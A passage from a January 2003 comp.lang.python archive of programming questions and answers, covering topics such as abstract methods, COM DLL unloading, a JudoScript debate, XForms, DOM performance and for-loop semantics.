unnecessary and bad form to have top-level Python code actually execute
anything. If you use the:
    if __name__ == "__main__":
        # do stuff here
mechanism then you will always be fine.

Trent

-- 
Trent Mick
TrentM at ActiveState.com




From pyth at devel.trillke.net  Sun Jan 12 09:41:13 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sun, 12 Jan 2003 15:41:13 +0100
Subject: pure virtual functions in python
In-Reply-To: <avrto1$gdk$1@news-reader10.wanadoo.fr>; from polux2001@wanadoo.fr on Sun, Jan 12, 2003 at 03:22:58PM +0100
References: <avrto1$gdk$1@news-reader10.wanadoo.fr>
Message-ID: <20030112154113.X349@prim.han.de>

polux wrote:
> how to emulate them ?
> I mean, how to force a user to redifine some functions in a derivated 
> class ?

    class a:
        def method(self):
            raise NotImplementedError(
                  "class %s misses 'method'" % repr(self.__class__))
    class b(a):
        pass

    b().method()

you can also use 'inspect.getabsfile(self.__class__)' to point to
the source file.  This doesn't work if you define your class
on the command line.

HTH,

    holger




From martin.schmettow at bibliothek.uni-regensburg.de  Wed Jan 15 08:02:53 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Wed, 15 Jan 2003 14:02:53 +0100
Subject: callability of object: strange behaviour
Message-ID: <b03m28$sfv$1@rrzd1.rz.uni-regensburg.de>

Hi anybody.

I'm working on a class which implements a tree by fetching the nodes 
from a database on demand. A node once fetched should be cached 
transparently.
Implementing a method parent() I experienced a very strange behaviour of 
my object with callability.

This is the extract of what happens:

class Node:
     def __init__(self,name):
         self.name = name

     def __getattr__(self,name):
         if name == 'parent':
             parent = Node('parent')
             setattr(self,'parent',parent)
             return parent


 >>> node = Node('mynode')
 >>> callable(node)
1
 >>> node
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
TypeError: 'NoneType' object is not callable
 >>> node.parent.name
'parent'
 >>> node.parent.__class__
<class __main__.Node at 0x80fe154>
 >>>

What's going wrong? Can anyone explain this behaviour to me?
Meanwhile I will try, if constructing the parent with new.instance helps.

CU
Martin.





From spam at magnetic-ink.dk  Sat Jan 18 12:40:55 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Sat, 18 Jan 2003 17:40:55 +0000 (UTC)
Subject: [ANN] rlcompleter2 <TAB> interactive completion
References: <mailman.1042906053.9040.python-list@python.org>
Message-ID: <54c83560-35a9-4995-be0e-1224a90f2bbe@news.szn.dk>

Holger Krekel wrote:

>     http://codespeak.net/~hpk/rlcompleter2

Neat -- thanks, Holger!


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From tim.one at comcast.net  Tue Jan 14 23:52:13 2003
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 14 Jan 2003 23:52:13 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E24E209.504E85D4@alcyone.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEKEDIAB.tim.one@comcast.net>

[Tim]
> How frightened are you of getting sued by the PSF?

[Erik Max Francis]
> Not at all, since I'm not doing anything that could get me sued by any
> such entity.

You don't have to "do something" to get sued, and the PSF *is* the legal
entity that holds copyright on all the Python source code, modules, and docs
you have installed on your machine(s).  I wager you've made copies of them
(backups, machine transfers), modified some of them, and possibly even
distributed some of them.  Such activities are clear violations of PSF's
intellectual property rights unless you've been granted a license to engage
in such activities by the PSF.  Which you have been, and of course the PSF
isn't going to sue you.

The question is why Mike should be more afraid of getting sued by the PSF
than you are?  The PSF also holds the copyright on the files he's asking
about, and Mike has the same license *from* the PSF to use them as you have.
Now anyone at all can sue Mike for anything at all, but since the PSF holds
the copyright on those files, only the PSF has legal standing to sue him for
copyright violation.  Telling him he should be afraid of that remains, in my
eyes, bizarre.  That doesn't mean he won't be sued <wink>.

figure-the-odds-ly y'rs  - tim





From mwh at python.net  Thu Jan 16 09:51:25 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 14:51:25 GMT
Subject: help !! commands.getstatusoutput
References: <b069t0$l6p4@imsp212.netvigator.com>
Message-ID: <7h3r8bdno53.fsf@pc150.maths.bris.ac.uk>

cout <cout at netvigator.com> writes:

> Help
> I'm running a shell program using commands.getstatusoutput(myShellScripts),
> myShellScripts takes few minutes to finish a job. Is there anyway to
> monitor the output while myShellScripts is being executing?

Use popen instead?  Watch out for buffering, tho'.

Cheers,
M.

-- 
  Many of the posts you see on Usenet are actually from moths.  You
  can tell which posters they are by their attraction to the flames.
                                      -- Internet Oracularity #1279-06



From logistix at zworg.com  Fri Jan 24 15:25:20 2003
From: logistix at zworg.com (logistix)
Date: 24 Jan 2003 12:25:20 -0800
Subject: Unloading COM dlls, help needed
References: <r8b3sj45.fsf@python.net>
Message-ID: <bdb5b58f.0301241225.7634e2bd@posting.google.com>

Thomas Heller <theller at python.net> wrote in message news:<r8b3sj45.fsf at python.net>...
> Sorry for the somewhat offtopic question, but I know here is an
> interested and competent audience available to answer questions.
> 
> Background:
> 
> I'm implementing a COM server framework in pure Python (TM) on base of
> the ctypes module.
> 
> Everything works very nice - I have a Shell Extension which extends
> the Explorer context menu for .py files, it lets you run tools like
> PyChecker and reindent.  I have also started some ActiveX controls
> which can be shown in several containers, IE among them (not all
> possible interfaces are implemented, but it is already very
> interesting).
> 
> Everything - except the dlls (_ctypes.pyd, together with python22.dll
> and others) are never unloaded from the process.  This makes
> development very slow, I have to restart Explorer each time I want to
> change the source files.
> 
> I think I got everything correct, COM reference counting seems OK,
> DllCanUnloadNow returns correct values, all I can think of.
> 
> A control implemented in ATL, IIRC, behaves different.
> 
> Reading through the MSDN docs shows that it may take 10 minutes after
> the call to CoFreeUnusedLibraries() before the dlls are actually
> unloaded, I've even waited longer, but nothing happpens.
> 
> This leads me to my question: Are there any other things that may
> prevent dlls from being unloaded by COM?
> 
> My understanding is that each DLL mapped into a process has an
> internal reference count, and the DLL is unloaded when this reaches
> zero.  Since Python itself calls LoadLibrary on the _ctypes.pyd (which
> is the COM dll), can it be that this circular reference between the
> dlls prevent unloading?  Oh, btw: is there *any* way to get this
> refcount?
> 
> Or could it simply be that unmatched CoInitialize/CoUninitialize calls
> are responsible?
> 
> Note that I've read the pycom-dev archives the reason why Mark's
> PythonCOM is never unloaded - it returns S_FALSE from
> DllCanUnloadNow() because Python can never be shutdown safely in a
> running process, but I want to try it anyway.
> 
> Any help appreciated,
> 
> Thomas

Did you try to setup an MTS (relabelled 'COM Services' as part of the
COM+ strategy) package around the components?

This will allow you to fake out COM and run in-apartments out of
process.  Then you can kill the MTS package (and attached processes)
explicitly from the MTS mmc.  Saved my ass when I was developing
back-end COM components that IIS was putting locks on.



From clifford.wells at attbi.com  Mon Jan  6 15:38:05 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 06 Jan 2003 12:38:05 -0800
Subject: Opinions, please: Repository module
In-Reply-To: <200301061839.58084.andy@eastonwest.co.uk>
References: <mailman.1041806169.632.python-list@python.org>
	 <200301060017.19510.andy@eastonwest.co.uk>
	 <1041817358.1368.1470.camel@software1.logiplex.internal>
	 <200301061839.58084.andy@eastonwest.co.uk>
Message-ID: <1041885485.3565.164.camel@x1-6-00-04-5a-64-c4-03>

On Mon, 2003-01-06 at 10:39, andy wrote:
> Thanks, cliff, I will take a look at pyro.  
> 
> As I said at the end of my original post:
> "I just /bet/ someone is going to tell me now that there's already something 
> out there which does exactly this :-(
> "

There always is, unless you need it tomorrow <wink>

> Pyro is something I hadn't trawled up.  Depends on your search strings, I 
> suppose!
> 
> I'm still glad I did what I did (and will probably still use/develop it, cos 
> I'm a stubborn ass ;-) )

Certainly learning about sockets and developing such a thing will
benefit you in the long run.  Starting with an application for home
seems like an ideal learning environment.

Good luck!

-- 
Cliff Wells <clifford.wells at attbi.com>





From LogiplexSoftware at earthlink.net  Fri Jan 17 13:12:45 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 17 Jan 2003 10:12:45 -0800
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
In-Reply-To: <f57664b9.0301161552.5dff2038@posting.google.com>
References: <f57664b9.0301161552.5dff2038@posting.google.com>
Message-ID: <1042827165.32069.48.camel@software1.logiplex.internal>

On Thu, 2003-01-16 at 15:52, Jonathan P. wrote:
class A:
>   def __init__(self):
>     self.long_descriptive_name=0
>     self.long_descriptive_name2=10
> 
>   def x(self):
>     D_=self.__dict__
>     alias1='long_descriptive_name'
>     alias2='long_descriptive_name2'
>     D_[alias]=D_[alias2]*D_[alias1]
>     # instead of self.long_descriptive_name =
>     #  self.long_descriptive_name*self.long_descriptive_name2
> 
> Question: 
>   Will the dictionary lookup 'D_[alias]' impose a
>   performance penalty versus 'self.long_descriptive_name' or
>   will the compiler do the same thing internally anyway in
>   both cases?

I don't think performance will be affected either way (it's all
dictionary lookups).  Still, I wonder why you don't just use:

class A:
    def __init__(self):
        self.long_descriptive_name = 0
        self.long_descriptive_name2 = 10

    def x(self):
        alias1 = self.long_descriptive_name
        alias2 = self.long_descriptive_name2
        self.alias = alias2 * alias1

which would seem to be the equivalent, more readable form.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From logistix at zworg.com  Fri Jan 17 16:55:26 2003
From: logistix at zworg.com (logistix)
Date: 17 Jan 2003 13:55:26 -0800
Subject: Python 2.3: int() ?
References: <b09761$a32$1@news.schlund.de>
Message-ID: <bdb5b58f.0301171355.58716ac7@posting.google.com>

Carsten Gaebler <news at snakefarm.org> wrote in message news:<b09761$a32$1 at news.schlund.de>...
> Hi there,
> 
> I just read the 2.3 'highlights' page on python org, and I'm a bit 
> confused: it says '# int() - this can now return a long when converting 
> a string with many digits, rather than raising OverflowError.'
> 
> What does 'can' mean here? Can I switch between returning a long or 
> raising an exception?
> 
> cg.
You can always do this yourself

def Int(notAnInt):
    retVal = int(notAnInt)
    assert isinstance(retVal,int), "integer conversion overflow."
    return retVal



From judoscript at hotmail.com  Fri Jan 10 02:00:04 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 23:00:04 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <avi2jc$o0n$1@slb2.atl.mindspring.net> <52719db8.0301082047.287e00b8@posting.google.com> <avj5lr$4jf$1@slb3.atl.mindspring.net>
Message-ID: <52719db8.0301092300.2fb666be@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avj5lr$4jf$1 at slb3.atl.mindspring.net>...
> James Huang wrote:
> > First off, I don't call "sendMail" an API (but that again may fall
> > into the meaningless confusion of what exactly is API, scripting,
> > ....). For what you described, you are right, you need to fall back to
> > API such as Java's javax.mail.* package, which is used by this
> > "sendMail" statement.
> 
> Perhaps 'PSI' for "People's Scripting interface" (or "Everyone's"?  ;)
> But it is indeed an API.  The people who use it write applications,
> and they are programming.  Perhaps script programming, but programming
> non the less.
> 
> 
> > Obviously, you are an expert in mail programming,
> 
> No, I am not.  Not by a long shot.  I chose email because you
> posted it as an example.  What I know mostly comes from using
> Python's 'email' module.
> 
> 
>  > and the situations you described are rather involved.
> 
> Indeed they are.  I limited it to your example.  My point is that
> people's needs, even those of beginners, can become complicated
> quickly.  You say it's rather involved, but suppose Nobuki Per?z
> is just starting to use your language to send mail in Japanese
> to his Japanese maternal grandparents.
> 
> Because I am not an mail expert, I don't know if this is
> a problem or not.  I again say that I know the Python API
> for handling email allows for multiple characters in the headers,
> even multiple character sets in the same line, so I am
> conjecturing a reason for why that is needed.
> 
> 
>  > It all boils down to probability
> > when analyzing computer systems -- what are the probabilities of what
> > JudoScript-sendMail can handle and what not. Also, how many people can
> > use JudoScript-sendMail, how many use mail API(s)?
> 
> Speaking personally, last time I programmed a way to send
> email was about 5 years ago.  I have used the email module to
> read my mail archive (was playing around with a text indexer)
> but that was about it.
> 
> > You can specify different character-sets for any of these 3:
> > "sendMail", "body" and "htmlBody". I've heard Japanese emails may use
> > different encodings for differnet parts, as you described.
> 
> I did read your documentation about that functionality before
> posting, which is why I explicitly gave a case of multiple
> character sets used in the header.  You only allow one for
> all the headers.
> 
> > JudoScript's extremely-easy-to-use features are not designed for
> > non-programmers, but rather for potent programmers especially those
> > who know Java. I can program javax.mail.*, big deal, but only if I
> > have to.
> 
> Ahh, I misunderstood.  In that case I don't find the idea of
> JudoScript very interesting.  Jython integrates well with Java,
> so I can program to those lower-level APIs directly, and I am
> (IMO) a rather potent programmer who can write the higher-level
> interfaces pretty quickly.  In addition, my knowledge of Python
> is transferable to the C implementation of Python so I can used
> non-Java based libraries.  (I work with quite a few C libraries
> which have no equivalent Java implementation.)

You missed the significant difference in philosophies. -- When needs
arise, sure, it is always possible to add them. Now that you have
given such a detailed use case, and if it is confirmed worth the
hassle, I could add it in in the next version, big deal. It's the idea
to specify your needs rather than programming solutions that makes the
difference. And, of cause, my lead post should be clear enough that
this is all about scripting. My definition of scripting is:

Scripting (in programming sense)
================================
is to do things easily, intuitively, obviously, and accurately, so
much so that when another person (with the same domain knowledge) sees
a chunk of code, he immediately understands it without even a hint of
reasoning (ideally). #

This is the fundamental different. I am relunctant to bring up the
term "4GL" but that is what it is (or even futher).

> 
> This is very similar to what Sandy Norton said elsewhere in this thread
> ] Actually, it first reminded me a little bit of rebol which has
> ] some nifty high level commands like "send person at address.com
> ] file.txt". My initial reaction to that was "wow, that's cool... let
> ] me try rebol out". After a few attempts to use the language, I
> ] got somewhat frustrated with the syntax and semantics and decided
> ] to write a module called 'rebol.py' instead, implementing the
> ] functionality I could use on top of the python standard library
> ] infrastructure. So now I can write
> ] >>> from rebol import send
> ] >>> send('person at address.com', 'file.txt')
> ]
> ] My approach to your examples would be similar. I would use
> ] elements of the python standard library and implement my
> ] 'preferred level' of abstraction.
> 
> I see you have not yet replied to that post.
> 
> I also note that in your whitepaper you state:
>  > Since Jython is fully capable of Java scripting, why would
>  > anyone use a Python module if similar functionality exists in Java?
> 
> You provide a high-level but limited way to send email, and say that
> people can use the lower-level Java modules for more complicated
> tasks.  This implies that people need to choose between two different
> way to do similar things.  Yet in your white paper you say that
> people shouldn't have to choose between two different APIs.
> 
> In your whitepaper you say the problems with Jython are that
> you must choose between Python's module for something and Java's
> module for something.  Isn't that just like real-life where you
> need to choose between a half-dozen graphics libraries?  Plus,
> you conveniently forget to mention that there are plenty of
> libraries in Python which aren't part of the standard Java
> distribution.
> 
> 
> > It is hard for me to understand why some programmers are so afraid of
> > easier ways of doing things (not necessarily you, Andrew, but there is
> > an anonymous guy responded to an article on LinuxJournal site). We can
> > program does not mean we have to program, unless, perhaps, for job
> > security reasons.
> 
> Here's some ideas off the top of my head:
>    - have you done any testing to show one is easier than the other?
>        (for non-trivial, non-contrived tests.  For example, read
>         "An empirical comparison of C, C++, Java, Perl, Python, Rezz,
>        and Tcl for a search/string-procesing program" at
>            http://www.ipd.uka.de/~prechelt/Biblio/#jccpprtTR
>      Without such tests, we have little to go on to believe that
>      you have an easier way of doing things.

I've expressed my opinions on comparing languages in the reply to your
another message. As for "easier", make sure we are talking about
scripting, to do things rather than make software.

> 
>    - perhaps it isn't easier over the spectrum of tasks that are
>      needed, and you are under the persuasion that (quoting Terry
>      Reedy earlier in the thread) that "My baby is great".

Repeat, make sure we are talking about scripting.

> 
>    - A lot of language announcements have the same sort of "this is
>       much easier than existing languages" flavor -- and you haven't
>       convinced us otherwise.

Repeat, make sure we are talking about scripting.

> 
>    - You write a new language but base it only on your knowledge of
>       other Java languages, and didn't look at Rebol nor REXX.  Given

You're right about JudoScript and Java, finally. Do Rebol and REXX
have Java ports? If not I'll pass. JudoScript is intended to be
"scripting and shell for Java", and the assumption is Java will have
software for most, if not *all*, of our needs.

>       your lack of experience there makes it harder to believe your
>       other claims.

See below.

> 
>    - You misrepresent Python, saying for example that it is weakly-typed
>       (which is false) and that the ActiveX interface is another Python
>       distribution, rather than simply a Python library.  Again, this
>       makes it harder to believe your claims.
> 
>    - You misinterpreted other people's posts several times, which means
>       you may also misinterpret other's programming needs.

Programming needs? I have been talking about scripting!

> 
> 					Andrew
> 					dalke at dalkescientific.com

You summarized the risks of drawing hard conclusions very well. :)

Cheers,
-James



From bkc at Murkworks.com  Fri Jan 31 09:21:39 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Fri, 31 Jan 2003 09:21:39 -0500
Subject: xforms (W3C) intepreter in Python?
References: <3e393e41_1@spamkiller.newsgroups.com> <23891c90.0301310335.5684465d@posting.google.com>
Message-ID: <3e3a85d4_1@spamkiller.newsgroups.com>

Comments below
--
Novell DeveloperNet Sysop #5

_
"Paul Boddie" <paul at boddie.net> wrote in message
news:23891c90.0301310335.5684465d at posting.google.com...
> "Brad Clements" <bkc at Murkworks.com> wrote in message
news:<3e393e41_1 at spamkiller.newsgroups.com>...
> >
> > Anyone else looking at xforms?
>
> I had a look at XForms a while ago, but the specification was
> something which was not only sleep-inducing, but also didn't really
> seem to meet any immediate requirements for developing Web
> applications more productively. Moreover, there was no indication that
> any browser would support the technology any time soon; indeed, I'm
> pretty sure that no mainstream browser supports it even now.

True. There is a request in for it to be added to mozilla. There is a
FormsPlayer activeX control that can run inside IE.

>
> > Novell DeveloperNet Sysop #5
>
> Interestingly, Novell seem to be all excited about XForms in that I
> saw some of their developer pages which advertised some package or
> other in which you could design them.

I'll laugh here, I haven't tried the "novell xforms preview ". Just from
reading the whitepaper and description I can tell it's not ready for me to
deploy. In any case, it's fall out from their purchase of .. that company
that makes SOAP tools.. Gee, can't recall.

>
> I've been interested in manipulating Web form data as XML, and
> formatting that data using XML-based templates. Right now, though, I
> don't have anything I can show you.

Fortunately I can show a lot.

I have several clients heavily invested in Zope/DHTML/XML-RPC solutions.
Typically SQL data is extracted, processed and then dumped as xml to the
client via XML-RPC. On the client, XSLT translates the data into forms, or
tables (with sortable columns).

For submission, I validate the form, grab the values and stick them into an
Object, send that object via xml-rpc (appears as a dict to Zope).

It's all lots of fun, but I'm getting tired of writing the same code over
and over. I'd like a higher-level view of layout, validation, minimal
client-side logic and submission.

And, <select> is a non-windowed control on IE, so it doesn't play well with
pop-up divs.

I'd really like to switch to a XUL layout, with xforms.. But Luxor is too
big, X-smiles is has ugly xforms, etc..






-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From uche at ogbuji.net  Sat Jan 11 13:40:06 2003
From: uche at ogbuji.net (Uche Ogbuji)
Date: 11 Jan 2003 10:40:06 -0800
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041875152.6920.python-list@python.org> <m3hecmw2oi.fsf@mira.informatik.hu-berlin.de>
Message-ID: <d116fbae.0301111040.7c7d1f33@posting.google.com>

martin at v.loewis.de (Martin v. L?wis wrote in message news:<m3hecmw2oi.fsf at mira.informatik.hu-berlin.de>...
> "Bjorn Pettersen" <BPettersen at NAREX.com> writes:
> 
> > Quick question... I've got benchmark results for most of the
> > options, but I haven't been able to track down cDomlette yet (google
> > didn't turn up any obvious links). Does anyone know where I can
> > download it (and the documentation :-) I'll post my benchmarks in a
> > couple of days...
> 
> It's part for 4Suite, www.4Suite.org. If you download the 4Suite beta
> (which you should), it is in Ft.Lib.cDomlette. You can find usage
> examples in
> 
> http://uche.ogbuji.net:8080/uche.ogbuji.net/tech/akara/pyxml/domlettes

What Martin said.

I just want to point out another friendly introduction.

http://www.xml.com/pub/a/2002/10/16/py-xml.html

And if you use Python 2.2 you may also want to see my tips on using
generators with DOM, which often give a speed advantage.

http://www.xml.com/pub/a/2003/01/08/py-xml.html

--Uche
http://uche.ogbuji.net



From paoloinvernizzi at dmsware.com  Thu Jan 16 07:52:51 2003
From: paoloinvernizzi at dmsware.com (Paolo Invernizzi)
Date: Thu, 16 Jan 2003 12:52:51 GMT
Subject: Mixing Python and C: any easy way?
In-Reply-To: <CFN376368443311343@news.mindspring.com>
References: <CFN376368443311343@news.mindspring.com>
Message-ID: <DWxV9.10893$YG2.308191@twister1.libero.it>

 > I've heard that
> Python is supposed to be good at interfacing with C/C++.  Can someone give me 
> some pointers that will help me out here?

http://www.boost.org/libs/python/doc/index.html

It's also a great example of C++ programming...

Paolo Invernizzi




From sdahlbac at abo.fi  Thu Jan  9 12:13:28 2003
From: sdahlbac at abo.fi (Simon Dahlbacka)
Date: Thu, 9 Jan 2003 19:13:28 +0200
Subject: SV: PIL - gif image
References: <3e1c4d71@newsflash.abo.fi> <3E1CD6FA.B66F4C09@alcyone.com>
Message-ID: <3e1daded$1@newsflash.abo.fi>

yes, it was just how to get access to what was in the .palette attribute I
wasn't sure about.. but anyhow, I did like this..

    def indextoRGB(self,im,index):
        return (ord(im.palette.data[3*index]),
        ord(im.palette.data[3*index+1]),
        ord(im.palette.data[3*index+2]))

..but maybe there's an easier way?


Erik Max Francis <max at alcyone.com> skrev i
diskussionsgruppsmeddelandet:3E1CD6FA.B66F4C09 at alcyone.com...
> Simon Dahlbacka wrote:
>
> > I don't know if there's something I've missed in the docs or what, but
> > how
> > do I translate the index I get from getpixel(xy) into a real color,
> > i.e. rgb
> > values? I'm trying to get hold of the real color values of
> > particular
> > pixel in a paletted image.. (gif)
>
> Check the .palette attribute, which for an image with mode 'P' will be
> an instance of an ImagePalette.
>
> --
>  Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
>  __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
> /  \ Strange is our situation here upon earth.
> \__/ Albert Einstein
>     ZOE / http://www.alcyone.com/pyos/zoe/
>  A simple Python OpenGL rendering engine.





From p-abel at t-online.de  Sun Jan 26 16:55:15 2003
From: p-abel at t-online.de (Peter Abel)
Date: 26 Jan 2003 13:55:15 -0800
Subject: extending objects (object-specific subclassing)
References: <mailman.1043501925.18338.python-list@python.org> <13a533e8.0301251345.4118ad15@posting.google.com>
Message-ID: <13a533e8.0301261355.1348d644@posting.google.com>

p-abel at t-online.de (Peter Abel) wrote in message news:<13a533e8.0301251345.4118ad15 at posting.google.com>...
> David Garamond <davegaramond at icqmail.com> wrote in message news:<mailman.1043501925.18338.python-list at python.org>...
> > in ruby you can "subclass an object". that is, you override and/or add 
> > methods specific to an object, not for the entire class. an example below:
> > 
> >   a = "hello"
> >   b = a.dup # b becomes another String object with the value of "hello"
> > 
> >   def b.to_s
> >     "The value is '#{self}'"
> >   end
> > 
> >   puts a.to_s # hello
> >   puts b.to_s # The value is 'hello'
> > 
> > behind the scene, ruby creates a new class just for the object a. the 
> > original a's class, String, will be the new class' superclass. ruby 
> > hides this, though, so you'll still see a as being the String object.
> > 
> >   puts a.class # String
> >   puts b.class # String
> > 
> > i wonder if python has a similar concept. or how do we do something 
> > roughly similar in python.
> 
> I never heard about subclassing objects in python.
> But method-overriding and -adding is possible:
> >>> class A:
> ... 	def func(self):
> ... 		print 'classA.func()'
> ... 
> >>> def fn():
> ... 	print 'instance.func()'
> ... 
> >>> def new_func():
> ... 	print 'A new func()'
> ... 
> >>> a=A()
> >>> a.func()
> classA.func()
> overriding A.func() with fn()
> >>> a.func=fn
> >>> a.func()
> instance.func()
> overriding a.func() with class.method A.func()
> >>> a.func=A().func
> >>> a.func()
> classA.func()
> adding a new method nf()
> >>> a.nf=new_func
> >>> a.nf()
>  A new func()
> >>> 
> Regards
> Peter

Forget, what I wrote here.
Python made me believe it would work.
It will only override an object-method with
a function. But from this function you can't
access to object's attributes.
Now I understand the difference for myself.

For correct information see thread: 
"Replacing methods without subclassing"
at comp.lang.python.

Sorry
Peter



From maxm at mxm.dk  Thu Jan 30 05:15:11 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 30 Jan 2003 11:15:11 +0100
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net>
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net>
Message-ID: <NU6_9.48134$Hl6.6118113@news010.worldonline.dk>

Brandon Van Every wrote:

> Man, I am so sick of Usenet.  Why do I bother?  Oh, I remember now... my
> eyes are glazing over after all the C++ code I've been writing.  I'm
> laboring under the delusion that this "break" somehow helps.


Why don't you take the break at the company's water cooler instead?


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From mcfletch at rogers.com  Wed Jan 15 06:48:54 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 15 Jan 2003 06:48:54 -0500
Subject: Soundex or Metaphone algorithms ?
In-Reply-To: <1042702721.1270.6.camel@emilio>
References: <199f365a.0301150213.45dbb9a5@posting.google.com> <1042702721.1270.6.camel@emilio>
Message-ID: <3E254AA6.2040107@rogers.com>

You can also find a similar algorithm in my Python Spelling Construction 
Kit.  It's the "genetic compression" algorithm from ASpell (well, at 
least, my algorithm was written to follow the documentation for that 
algorithm), with genetic just meaning it reads the compression rules 
from language-specific rule-files. Might not be what you're looking for, 
but I think it's fun :) .

http://sourceforge.net/projects/pyspelling/

(Currently CVS only)

Enjoy,
Mike

Tim Churches wrote:

>On Wed, 2003-01-15 at 00:13, Arkana wrote:
>  
>
>>hello,
>>
>>does anyone know an implementation of soundex or metaphone algorithm in python ?
>>
>>(or maybe a better algo)
>>    
>>
>
>Yes, you can find these and others in the encode module of the Febrl
>(Freely extensible biomedical record linkage) package, at
>http://datamining.anu.edu.au/projects/linkage.html
>
>Although the soundex and metaphone functions are OK, the implementations
>of some of the string comparator functions have subtle errors - these
>will be fixed in the next release of the package in a week or two (which
>also comes with unit tests to make detection of such errors easier in
>the future).
>
>Tim C
>  
>

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From LogiplexSoftware at earthlink.net  Fri Jan 10 17:48:34 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 10 Jan 2003 14:48:34 -0800
Subject: no side effects
In-Reply-To: <200301102202.18149.andy@eastonwest.co.uk>
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
	 <1042051058.1368.1868.camel@software1.logiplex.internal>
	 <200301102202.18149.andy@eastonwest.co.uk>
Message-ID: <1042238914.1823.196.camel@software1.logiplex.internal>

On Fri, 2003-01-10 at 14:02, andy wrote:
> On Wednesday 08 Jan 2003 6:37 pm, Cliff Wells wrote:
> > On Wed, 2003-01-08 at 05:10, Michele Simionato wrote:
> > > I was surprised by the following code:
> > > >>> for i in [1,2,3]:
> > >
> > > ...     print i,
> > > ...     i=3
> > >
> > > I would have expected only 1 to be printed, but instead Python
> > > continues the loop without noticing that the value of i has
> > > changed. IOW, no side effect.
> >
> > You've gotten a lot of detailed responses, but maybe this will make it
> > clearer:
> >
> > _l = [1,2,3]
> > for _i in range(len(_l)):
> >     i = _l[_i]
> >     print i,
> >     i = 3
> >
> >
> > In this case you obviously wouldn't expect assigning 3 to i to change
> > the loop, yet this is similar to what is happening in the case you
> > presented, except that _i is created implicitly by the interpreter and
> > is hidden from normal Python programs.
> >
> > Regards,
> 
> Has to be noted, also, that many other languages would exhibit either the same 
> behaviour or even random effects, due to loop optimizations, such as keeping 
> the loop variable in a machine register, or even unfolding the loop.  But in 
> any case, most languages' /for/ loop iterates over a sequence of ordinals, 
> not a list...
> 
> isn't it more like this?
> 
> p=0 # internal loop counter
> lst=[1,2,3] # the list to enumerate
> while p<len(lst): # control loop
>     i=lst[p] # get the current list item
>     print i
>     i=3
>     p+=1 # increment loop control counter
> 
> Or am I missing the point completely?

I think we're saying the same thing.  I just chose to get my indices by
using range whereas you explicitly increment it.  Yours is probably
closer to what other languages do, since it would allow you to change p
and affect the loop, whereas mine would continue merrily on =)

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From bokr at oz.net  Thu Jan  2 04:43:16 2003
From: bokr at oz.net (Bengt Richter)
Date: 2 Jan 2003 09:43:16 GMT
Subject: Bug? (ActivePython)
References: <2330102.1041291335@dbforums.com> <mailman.1041300846.4470.python-list@python.org> <2336817.1041392370@dbforums.com>
Message-ID: <av11jk$hu6$0@216.39.172.122>

On Wed, 01 Jan 2003 03:39:30 +0000, Tetsuo <member at dbforums.com> wrote:

>
>Originally posted by Jp Calderone 
>>
>>   "404 error?  Is this in a CGI?"
>>
>> Alright... IOError.
>>
>>   "The locals dictionary the code is executed in is different.
>>   Without
>> knowing what's in pystone.py, saying more is difficult."
>>
>> That statement is clear as mud to me... (So is the phrase "locals
>> dictionary,"
>> may be I should look it up...) Pystone is a standard module... You
>> have it in lib\test.
>
I suspect you might have two problems:

1) You may have run your two examples in different contexts, one of
   which had pystone.py in the current working directory and the other not.
   To see where the program is looking for 'pystone.py', put the following
   line before the execfile:

   import os; print os.getcwd()

   One solution is to specify the full path to pystone.py in the first arg passed
   to execfile. This alone will not make it work though:

2) execfile uses default local and global directories unless you specify
   what they should be. Inside a function, you will need to specify them,
   or else the global results of execfile will go to the "wrong" place, and
   the global reference to the pystones function in main will get a NameError,
   which is what is giving you your "bug".

   Try writing your execfile statement in the function as

       execfile(r"d:\python22\lib\test\pystone.py", locals())  # (your full path may vary)

   Or if you move a copy of pystone.py into the directory that gets printed from
   import os; print os.getcwd(), then you can just write

       execfile("pystone.py", locals())  # depends on pystone.py's being in current working dir.

Regards,
Bengt Richter



From mwh at python.net  Mon Jan 20 06:32:20 2003
From: mwh at python.net (Michael Hudson)
Date: Mon, 20 Jan 2003 11:32:20 GMT
Subject: isinstance is broken
